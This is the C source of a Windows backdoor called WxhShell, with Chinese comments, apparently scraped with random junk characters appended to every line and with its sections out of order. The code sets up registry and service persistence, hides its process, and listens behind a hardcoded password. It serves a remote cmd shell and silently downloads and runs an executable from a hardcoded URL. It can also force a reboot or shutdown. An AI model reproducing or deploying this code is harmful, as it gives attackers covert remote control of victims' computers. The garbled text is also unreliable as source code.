    if(Boot(SHUTDOWN)) )?WoL Ejq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U_~~PCi  
    else { f,#xicSB*  
    closesocket(wsh); E*l"uV  
    ExitThread(0); ;:4puv+]  
    } )'g vaT  
    break; >xjy P!bca  
    } <b\urtoJ  
  // 获取shell MI}D%n*  
  case 's': { qSd $$L^  
    CmdShell(wsh); t|m3b~Oyv  
    closesocket(wsh); r:cUAe7#  
    ExitThread(0); 4HJrR^  
    break; Qi61(lK  
  } S`G\Cd;5  
  // 退出 [ZbK)L+_  
  case 'x': { &)l:m.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); i&$uG[&P  
    CloseIt(wsh); #o RUH8  
    break; kYAvzuGRb  
    } SMyg=B\x?7  
  // 离开 ;k8}D*?8  
  case 'q': { }0( Na  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); SD&[K 8-i2  
    closesocket(wsh); f- <6T  
    WSACleanup(); 2YyZiOMSc  
    exit(1); d#\n)eGr  
    break; dq(x@&J  
        } H.L@]~AyL  
  } `{Jb{L@f  
  } 0FOf *Lz  
?MH4<7?"  
  // 提示信息 J (h>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1GdD  
} Q Y'-]  
  } I,eyL$x  
DtZm|~)a  
  return; q1y4B`  
} "ivqh{ ,  
{/<&  
// shell模块句柄 (=j!P*  
int CmdShell(SOCKET sock) w^gh&E  
{ d%3BJ+J  
STARTUPINFO si; Ie"R,,c   
ZeroMemory(&si,sizeof(si)); (4LLTf0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8;8}Oq  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; d3GK.8y_z  
PROCESS_INFORMATION ProcessInfo; meR2"JN'  
char cmdline[]="cmd"; ~|rkt`8p  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5WT\0]RUa  
  return 0; ' T]oV~H  
} `?x$J 6p  
dK: "  
// 自身启动模式 e`r;`a&  
int StartFromService(void) {P&^Erx  
{  o 2  
typedef struct wY#mL1dF  
{ Bv8C_-lV/  
  DWORD ExitStatus; VaxO L61xE  
  DWORD PebBaseAddress; __j8jEV  
  DWORD AffinityMask; nY)Pxahm7  
  DWORD BasePriority; lG9ARRy(=  
  ULONG UniqueProcessId; b U NYTF{  
  ULONG InheritedFromUniqueProcessId; rLxX^[Fp3  
}   PROCESS_BASIC_INFORMATION; _GqE'VX  
1!3kAcBP  
PROCNTQSIP NtQueryInformationProcess; +`8)U3u0  
"N]o5d   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wVDB?gy%#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; : qRT9n$  
P~e$iBH'  
  HANDLE             hProcess; KU,w9<~i(  
  PROCESS_BASIC_INFORMATION pbi; rzDJH:W{2  
4&e@>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?LI9F7n  
  if(NULL == hInst ) return 0; p8l#=]\ ;  
L?x?+HPY.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2 -aYqMmT;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); sv"mba.J  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); M%xL K7  
s2~dmZ_B|_  
  if (!NtQueryInformationProcess) return 0; *GP_ut%  
v Lv@Mo  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Q/)ok$A&  
  if(!hProcess) return 0; f)Q]{cb6  
rz{'X d  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; KVxb"|[  
/T)n5X  
  CloseHandle(hProcess); acQN pT  
; ,jLtl  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~qxXou,J  
if(hProcess==NULL) return 0; Y&+_p$13  
aG_O N0g  
HMODULE hMod; :)95 b fa.  
char procName[255]; 3^> a TU<Z  
unsigned long cbNeeded; 1Uk~m  
vN:[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )C]&ui~1  
*Ne&SXg  
  CloseHandle(hProcess); c8tC3CrKp=  
g ypq`F  
if(strstr(procName,"services")) return 1; // 以服务启动 7CM03R[P  
h6y4Ii  
  return 0; // 注册表启动 f\|?_k]  
} {@__%=`CCS  
K#hYbDm  
// 主模块 qO{ ZZ*  
int StartWxhshell(LPSTR lpCmdLine) Lo5@zNt%W  
{ y[6&46r7D  
  SOCKET wsl; jUvA<r  
BOOL val=TRUE; 3DC%I79  
  int port=0; Qk.Q9@3W  
  struct sockaddr_in door; puN=OX}C  
M5WtGIV  
  if(wscfg.ws_autoins) Install(); /1~|jmi(  
8`2<g0V2  
port=atoi(lpCmdLine); ,G|aLBn  
5;8B!%b  
if(port<=0) port=wscfg.ws_port; \K~fRUo]=c  
 ;c Co+(  
  WSADATA data; #0hNk%X=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "%''k~UD 4  
&4&33D  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .#55u+d,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4z%#ZIy3   
  door.sin_family = AF_INET; |( 9#vt#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )S};k=kG  
  door.sin_port = htons(port); jS3(>  
tQ/ #t<4D  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { HJaw\zbL  
closesocket(wsl); kEhm'  
return 1; ct4 [b|  
} E? eWv)//  
}?]yxa~  
  if(listen(wsl,2) == INVALID_SOCKET) { [~c'|E8Q  
closesocket(wsl); <o!&Kk9  
return 1; :q64K?X  
} rp @  
  Wxhshell(wsl); RF~Ofi  
  WSACleanup(); ^qGA!_  
bk"k&.C^+  
return 0; 15KV} ){  
M&/aJRBS  
} wK'!xH^  
OssR[$69  
// 以NT服务方式启动 TT2cOw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) D"XX920$~  
{ \!JS7!+  
DWORD   status = 0; EEs-&  
  DWORD   specificError = 0xfffffff; WAB0e~e:|Q  
0vuKGjK  
  serviceStatus.dwServiceType     = SERVICE_WIN32; r}0C8(oq  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; AR~$MCR]"k  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =v4r M0m,  
  serviceStatus.dwWin32ExitCode     = 0; sCtw30BL  
  serviceStatus.dwServiceSpecificExitCode = 0; 7e c0Xh1  
  serviceStatus.dwCheckPoint       = 0; p/k<wCm6  
  serviceStatus.dwWaitHint       = 0; poQdI?ed,  
mw(c[.*%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /pN'K5@  
  if (hServiceStatusHandle==0) return; a We Bav}_  
~z K@pFeH  
status = GetLastError(); ihiuSF<NaQ  
  if (status!=NO_ERROR) twtkH~`"Q  
{ O5qW*r'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; u-QO>3oY6  
    serviceStatus.dwCheckPoint       = 0; 2zKo  
    serviceStatus.dwWaitHint       = 0; 1<a@p}  
    serviceStatus.dwWin32ExitCode     = status; y=9Dxst"V  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,<$YVXe/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $xA J9_2P  
    return; ~|'y+h89  
  } vXWsF\g  
Ni!;-,H+E  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; d]CviQUq  
  serviceStatus.dwCheckPoint       = 0; 97Zk P=Cq  
  serviceStatus.dwWaitHint       = 0; Wm)-zvNY;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); NFY|^*bll  
} L$lo~7<]  
tS (i711  
// 处理NT服务事件,比如:启动、停止 6h2x~@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) t{Hh&HX  
{ z|3`0eWIG  
switch(fdwControl) !@pV)RUv7  
{ 4`8IFK  
case SERVICE_CONTROL_STOP: to&N22a$  
  serviceStatus.dwWin32ExitCode = 0; AhvvuN$n%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; lk_s!<ni  
  serviceStatus.dwCheckPoint   = 0; X'FEOF  
  serviceStatus.dwWaitHint     = 0; .]j#y9>&w%  
  { `10X5V@hP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E kBae=  
  } ]-um\A4f  
  return; /&]-I$G@  
case SERVICE_CONTROL_PAUSE: Gefnk!;;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {_zV5 V  
  break; [`.3f'")j  
case SERVICE_CONTROL_CONTINUE: Km)X_}|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; xd^&_P$=  
  break; q%-&[%l  
case SERVICE_CONTROL_INTERROGATE: .Vo"AuC}  
  break; vuR5}/Ev  
}; -BA"3 S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~$4]HDg  
} -`!_h[   
b JfD\  
// 标准应用程序主函数 # 0GGc.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <i}q=%W!1  
{ (PS$e~H s  
3P//H8 8LY  
// 获取操作系统版本 [d4,gEx`Q\  
OsIsNt=GetOsVer(); ORowx,(hX  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4}Q O!(  
'7xxCj/*  
  // 从命令行安装 ':l"mkd+`  
  if(strpbrk(lpCmdLine,"iI")) Install(); f?%qUD_#  
`'p`PyMt`  
  // 下载执行文件 (2z%U  
if(wscfg.ws_downexe) { m|]j'g?{}(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) rDVgk6  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]3L@$`ys  
} (8CCesy&  
\!^i;1h0c3  
if(!OsIsNt) { 3`58ah  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;>9OgO  
HideProc(); ^^G-kg  
StartWxhshell(lpCmdLine); ?"{QK:`  
} PZys  u  
else gyi)T?uS)  
  if(StartFromService()) jg[5UTkcs  
  // 以服务方式启动 P*pbwV#|  
  StartServiceCtrlDispatcher(DispatchTable); m@ i2#  
else hPa n  
  // 普通方式启动 0VzXDb>`  
  StartWxhshell(lpCmdLine); 9>N\sOh  
nVxq72o@  
return 0; Rl_.;?v"!  
} m!<X8d[bD  
3az$:[Und}  
4|nQ=bIau  
"hWJ3pi{o{  
=========================================== yeh8z:5Z O  
RcgRaQ2^  
!\CG,Ek  
n`%2Mj c  
su&t7rJ  
#G3` p!"  
" .i$,}wtw  
^8:VWJM  
#include <stdio.h> ql^g~b  
#include <string.h> hG= k1T%=  
#include <windows.h> eSl]8BX_  
#include <winsock2.h> 7p^@;@V  
#include <winsvc.h> ~<n(y-P^  
#include <urlmon.h> >;)2NrJV  
h$70H^r  
#pragma comment (lib, "Ws2_32.lib") 9b1?W?"  
#pragma comment (lib, "urlmon.lib") <B!'3C(P  
##H;Yb  
#define MAX_USER   100 // 最大客户端连接数 Y}ng_c  
#define BUF_SOCK   200 // sock buffer R|iEvt  
#define KEY_BUFF   255 // 输入 buffer +UzXN$73  
}sv!=^}BY3  
#define REBOOT     0   // 重启 h40'@u^W  
#define SHUTDOWN   1   // 关机 a mqOxb  
{>@QJlE0  
#define DEF_PORT   5000 // 监听端口 ! .AhzU1%Y  
%JQ~!3  
#define REG_LEN     16   // 注册表键长度 =_[2n?9y  
#define SVC_LEN     80   // NT服务名长度 u?F (1iN =  
=p]mX )I_  
// 从dll定义API )!e3.C|V1W  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9 ~~qAoD  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^] 6M["d/p  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ABc)2"i:*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /}Yqf`CZy  
Hle\ON  
// wxhshell配置信息 :r&iM b:Ra  
struct WSCFG { pTWg m\h  
  int ws_port;         // 监听端口 ,9mgYp2  
  char ws_passstr[REG_LEN]; // 口令 e 8,{|a  
  int ws_autoins;       // 安装标记, 1=yes 0=no CM9XPr  
  char ws_regname[REG_LEN]; // 注册表键名 9RQU?  
  char ws_svcname[REG_LEN]; // 服务名 Gzw@w{JBL  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 A:eFd]E{(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 PL@~Ys0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 iU5P$7.p  
int ws_downexe;       // 下载执行标记, 1=yes 0=no cGNvEM(4AV  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Q"%S~&#'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 qe$33f*  
j$Nf%V 6Y  
}; (S|a 9#  
QdDObqVdy  
// default Wxhshell configuration 9~c~E/4!  
struct WSCFG wscfg={DEF_PORT, 1"?]= j:  
    "xuhuanlingzhe", >SoO4i8  
    1, /v|Onq1Y4  
    "Wxhshell", D+sQPymI  
    "Wxhshell", Lz@$3(2  
            "WxhShell Service", :&qhJtGo  
    "Wrsky Windows CmdShell Service", yl$F~e1W  
    "Please Input Your Password: ", O2.' -  
  1, U&P{?>{u  
  "http://www.wrsky.com/wxhshell.exe", O$qtq(Q%  
  "Wxhshell.exe" /kB|1gFj  
    };  DtWxr  
Q(Gyq:L=>  
// 消息定义模块 ([R")~`(l2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _({@B`N}  
char *msg_ws_prompt="\n\r? for help\n\r#>"; KlN/\N\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; XE1$K_m  
char *msg_ws_ext="\n\rExit."; vT c7an6fy  
char *msg_ws_end="\n\rQuit."; H_w%'v&  
char *msg_ws_boot="\n\rReboot..."; l4vTU=  
char *msg_ws_poff="\n\rShutdown..."; 4(=kE>n}  
char *msg_ws_down="\n\rSave to "; @g-G =Ba  
pJBg?D  
char *msg_ws_err="\n\rErr!"; >2b`\Q*<  
char *msg_ws_ok="\n\rOK!"; rp's  
m\ S\3n  
char ExeFile[MAX_PATH]; ^lj7(  
int nUser = 0; KjYAdia:H  
HANDLE handles[MAX_USER]; B=n[)"5fBO  
int OsIsNt; SV.z>p  
s5D:  
SERVICE_STATUS       serviceStatus; UKtSm%\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; y$b]7O  
`Ye8 Q5v"]  
// 函数声明 'T,c.Vj)  
int Install(void); h|bT)!|  
int Uninstall(void); w0w1PE-V=  
int DownloadFile(char *sURL, SOCKET wsh); h3!$r~T!a:  
int Boot(int flag); PFrfd_s{>\  
void HideProc(void); ]$A(9Pn"  
int GetOsVer(void); ~ #PLAP3-  
int Wxhshell(SOCKET wsl); kn"q:aD  
void TalkWithClient(void *cs); .Z\Q4x#!Z  
int CmdShell(SOCKET sock); SeEw.;Xw  
int StartFromService(void); n~.*1. P  
int StartWxhshell(LPSTR lpCmdLine); v2)g 1sXd  
< zOi4v0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +=BAslk  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;65D  
y(W|eBe  
// 数据结构和表定义 ZU{4lhe  
SERVICE_TABLE_ENTRY DispatchTable[] = 9GU]l7C=z  
{ SA;#aj}rV  
{wscfg.ws_svcname, NTServiceMain}, Y?K{(szo ?  
{NULL, NULL} d2N:^vvvR  
}; }TB(7bbd;  
A+getdr  
// 自我安装 2;2}wM[  
int Install(void) -e*ZCwQ  
{ :E&g%'1  
  char svExeFile[MAX_PATH]; YXW%]Uy+  
  HKEY key; (MLwQiop  
  strcpy(svExeFile,ExeFile); Y?d9l  
+B}0=Ex$t  
// 如果是win9x系统,修改注册表设为自启动 ][&9]omB  
if(!OsIsNt) { LWfqEL -  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Gl}Qxv#$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j%IF2p2  
  RegCloseKey(key); Oy57$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CGbwmPx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L| hx arJ  
  RegCloseKey(key); BlA[T%  
  return 0; NZ0O,} m  
    } 5PT5#[  
  } MGJ.,tK1  
} k8AW6oO/i  
else { Wb}c=hZv  
yQNV@T<o  
// 如果是NT以上系统,安装为系统服务 P"/G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); IZ/m4~  
if (schSCManager!=0) k,yZ[n|`  
{ 5=|hC3h  
  SC_HANDLE schService = CreateService j|4C\~i  
  ( )wvHGecp*  
  schSCManager, Ho;X4lo[j  
  wscfg.ws_svcname, yQ,{p@#X8  
  wscfg.ws_svcdisp, A/7{oB:a  
  SERVICE_ALL_ACCESS, ,Wbwg  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *)M49a*UD  
  SERVICE_AUTO_START, cy yVg!+  
  SERVICE_ERROR_NORMAL, 7&qy5 y-Ap  
  svExeFile, BZ54*\t  
  NULL, {X(:jAy  
  NULL, V w||!d  
  NULL, m,UGWR  
  NULL, -i yyn ^|  
  NULL ngohtB^]  
  ); 2;a(8^n  
  if (schService!=0) myl+J;,]  
  { +Z M)bbB  
  CloseServiceHandle(schService); Qv,"($n\  
  CloseServiceHandle(schSCManager); {M-YHX>*;g  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6f')6X'x  
  strcat(svExeFile,wscfg.ws_svcname); "#[!/\=?:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { MjlP+; !  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $YN6<5R)  
  RegCloseKey(key); ),G=s Oo  
  return 0;  #wL  
    } 'EDda  
  } P:30L'.=[  
  CloseServiceHandle(schSCManager); h%}/Cmx[  
}  A) ;  
} mEw ~yOW]M  
X.hm s?]  
return 1; P"B0_EuR<T  
} ):i&`}SY  
CC#;c1t  
// 自我卸载 +qh[N@F  
int Uninstall(void) bFe+m1Q_  
{ /"eey(X  
  HKEY key; Jn{OWw2  
.C8PitS  
if(!OsIsNt) { sCR67/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =c/wplv*  
  RegDeleteValue(key,wscfg.ws_regname); }ZYv~E'  
  RegCloseKey(key); fQ#l3@in  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +L7n<U3  
  RegDeleteValue(key,wscfg.ws_regname); $STaQ28C  
  RegCloseKey(key); 1P~X8=9h  
  return 0; h }B% /U  
  } *:ZDd  
} `s\?w5[  
} g !rQ4#4  
else { .Fdgb4>BXX  
:2 *g~6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0q&<bV:D  
if (schSCManager!=0) F(tx)V ~T3  
{ -r-k_6QP  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^J$2?!~  
  if (schService!=0) R8ZK]5{o  
  { spt6]"Ni  
  if(DeleteService(schService)!=0) { KXx32 b,~  
  CloseServiceHandle(schService); e" St_z(  
  CloseServiceHandle(schSCManager); j'A_'g'^  
  return 0; 8_{X1bj  
  } Z'"tB/=W  
  CloseServiceHandle(schService); ILGMMA_2  
  } a(l29>  
  CloseServiceHandle(schSCManager); "wNJ  
} ;7} VBkH  
} Zl^\Q=*s  
etTn_v  
return 1; r>o63Q:  
} D)L+7N0D~  
DGS$Ukz&T  
// 从指定url下载文件 '.:z&gSqx0  
int DownloadFile(char *sURL, SOCKET wsh) 6}d.5^7lr  
{ o,_? ^'@  
  HRESULT hr; E*]bgD7V  
char seps[]= "/"; a{L d  
char *token; Xu%'Z".>:  
char *file; uG,5BV.M  
char myURL[MAX_PATH]; >m$1Xx4#GV  
char myFILE[MAX_PATH]; G3Z)Z) N  
%J+E/  
strcpy(myURL,sURL); be.*#[  
  token=strtok(myURL,seps); e)d`pQ6  
  while(token!=NULL) <g$~1fa  
  { !2ZF(@C /  
    file=token; ;U-jO &  
  token=strtok(NULL,seps); %nf6%@s  
  } 1`=nWy='  
k$blEa4  
GetCurrentDirectory(MAX_PATH,myFILE); sB7# ~p A  
strcat(myFILE, "\\"); Zy`m!]G]80  
strcat(myFILE, file); h1de[q)  
  send(wsh,myFILE,strlen(myFILE),0); 16 =sij%A  
send(wsh,"...",3,0); Sc;BCl{=|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~E17L]ete  
  if(hr==S_OK) fU/>z]K  
return 0; )Y"+,$$>Y`  
else EV]1ml k$  
return 1; hgPa6Kd  
;ub;l h3  
} V<GHpFi0  
X $jWo@  
// 系统电源模块 ZOh`(})hy  
int Boot(int flag) QIG$z?  
{ EJMM9(DQ7  
  HANDLE hToken; 0XE4<U   
  TOKEN_PRIVILEGES tkp; eA2@Nkw~)  
MTuV^0%jD  
  if(OsIsNt) { NPy&OcRl  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); rC5 p-B%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,E S0NA  
    tkp.PrivilegeCount = 1; C5o#i*|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Y]'Z7<U}*E  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wW>A_{Y  
if(flag==REBOOT) { <^#,_o,!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) xF!,IKlBBp  
  return 0; LSL/ZvSP  
} akp-zn&je  
else { =$'6(aDH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]_f_w 9]  
  return 0; e"{{ TcNk  
} hOjk3 k  
  } oB(?_No7  
  else { ,Vc6Gwm  
if(flag==REBOOT) { Tp?7_}tRi  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) oH97=>  
  return 0; ,wQ5.U,  
} DhKS pA  
else { ;`0%t$@-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) C0T;![/4A  
  return 0; (KjoSN( K  
} +}Dw3;W}m  
} \ 2M_\Q`NY  
|jGf<Bf5  
return 1; IaSR;/  
} <FV1Wz  
G#ZH.24Y  
// win9x进程隐藏模块 <sb~ ^B  
void HideProc(void) }bb;~  
{ T<n  
Acez'@z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); b/+u4'"  
  if ( hKernel != NULL ) G/)O@Ugp  
  { 6AAz  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); BtkOnbz8X  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3#3n!(  
    FreeLibrary(hKernel); `V}q-Zdy  
  } X-bcQ@Oj  
r8`ffH  
return; |mZxfI  
} Ytn9B}%o  
KI"#f$2&  
// 获取操作系统版本 Z9v31)q(  
int GetOsVer(void) [_BP)e  
{ d[iQ` YW5  
  OSVERSIONINFO winfo; g|o,uD  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); qU \w=  
  GetVersionEx(&winfo); ` 'DmDg  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) rDdoOb]B  
  return 1; ?>7[7(|  
  else ROH|PKb7  
  return 0; g9 .Q<JwO  
} .73X3`P25  
j*|VctM  
// 客户端句柄模块 ^um<bWNc  
int Wxhshell(SOCKET wsl) 0{5w 6  
{ S,88*F(<^q  
  SOCKET wsh; tH!]Z4}u  
  struct sockaddr_in client; R)c?`:iUB  
  DWORD myID; Yj&F;_~   
)v'WWwXY>  
  while(nUser<MAX_USER) 0_jf/an,%  
{ \[;0 KV_  
  int nSize=sizeof(client); )*$lp'~7N  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); O %\*@4zM  
  if(wsh==INVALID_SOCKET) return 1; fBU`k_  
6_(&6]}66  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !Jo_"#5  
if(handles[nUser]==0) ]vAz  
  closesocket(wsh); z<MsKD0Q  
else tR# OjkvX  
  nUser++; '+@=ILj>  
  } &T#;-`'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +Q/R{#O  
=O~_Q-  
  return 0; em y[k  
} J"0`%'*/  
Sh/08+@+L:  
// 关闭 socket Lc}y<=P@  
void CloseIt(SOCKET wsh) 8'[~2/  
{ Fn wJ+GTu  
closesocket(wsh); i}cRi&2[  
nUser--; ncaT?~u j  
ExitThread(0); atj(eg  
} ?al'F  q  
4VHn  \  
// 客户端请求句柄 ><4<yj1  
void TalkWithClient(void *cs) !Mx$A$Oj>  
{ ?w$kue  
T~-ycVc  
  SOCKET wsh=(SOCKET)cs; ,<.V7(|t)  
  char pwd[SVC_LEN]; P?%s #I:  
  char cmd[KEY_BUFF]; +5)nk}  
char chr[1]; xw.A #Zb\_  
int i,j; (O\ )_#-D  
1 s\Wtw:  
  while (nUser < MAX_USER) { ${DUCud,kY  
QRw"H 8nW  
if(wscfg.ws_passstr) { VMZMG$C  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n3WlZ!$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aHD]k8 m z  
  //ZeroMemory(pwd,KEY_BUFF); r-,%2y?  
      i=0; <]ox;-56  
  while(i<SVC_LEN) { ldf\;Qk  
[DuttFX^x  
  // 设置超时 :'Vf g[Uq  
  fd_set FdRead; )705V|v  
  struct timeval TimeOut; Zj(AJ*r  
  FD_ZERO(&FdRead); VG5i{1  0  
  FD_SET(wsh,&FdRead); _YRFet[,m  
  TimeOut.tv_sec=8; z'Hw  
  TimeOut.tv_usec=0; ;[ZEDF5H  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); j;zM{qu_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /l3V3B7  
7^avpf)>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +L$Xv  
  pwd=chr[0]; 8|gIhpO?^  
  if(chr[0]==0xd || chr[0]==0xa) { :@Pl pF K  
  pwd=0; Q3'llOx  
  break; !t"4!3  
  } Z{*\S0^ST  
  i++; sJKI!   
    } =nHUs1rKn  
Lj({[H7D!  
  // 如果是非法用户,关闭 socket PI {bmZ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }{Pp]*I<A  
} ./Xz}<($8  
gb1V~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ijv(9mR  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xo^b&ktQd  
2DA]i5  
while(1) { RH W]Z Pr<  
AI2)g1m  
  ZeroMemory(cmd,KEY_BUFF); <sbu;dQ`  
)$2QZ qX  
      // 自动支持客户端 telnet标准   HZE#Ab*L  
  j=0;  }FROB/  
  while(j<KEY_BUFF) { r `=I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '@v\{ l  
  cmd[j]=chr[0]; SO/c}vnBB  
  if(chr[0]==0xa || chr[0]==0xd) { AYBns]!  
  cmd[j]=0; #^0R&) T  
  break; VD*6g%p  
  } x8 2cT21b  
  j++; h'llK6_)  
    } 9c bd~mM{  
h,:m~0gmj  
  // 下载文件 ]h`&&Bqt  
  if(strstr(cmd,"http://")) { .vf'YNQ%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); mY|)KJ  
  if(DownloadFile(cmd,wsh)) P}}* Q7P  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); l:~/<`o  
  else J3V= 46Yc  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fUWG*o9  
  } d0!5j  
  else { s[>,X#7 y  
XT%nbh&y  
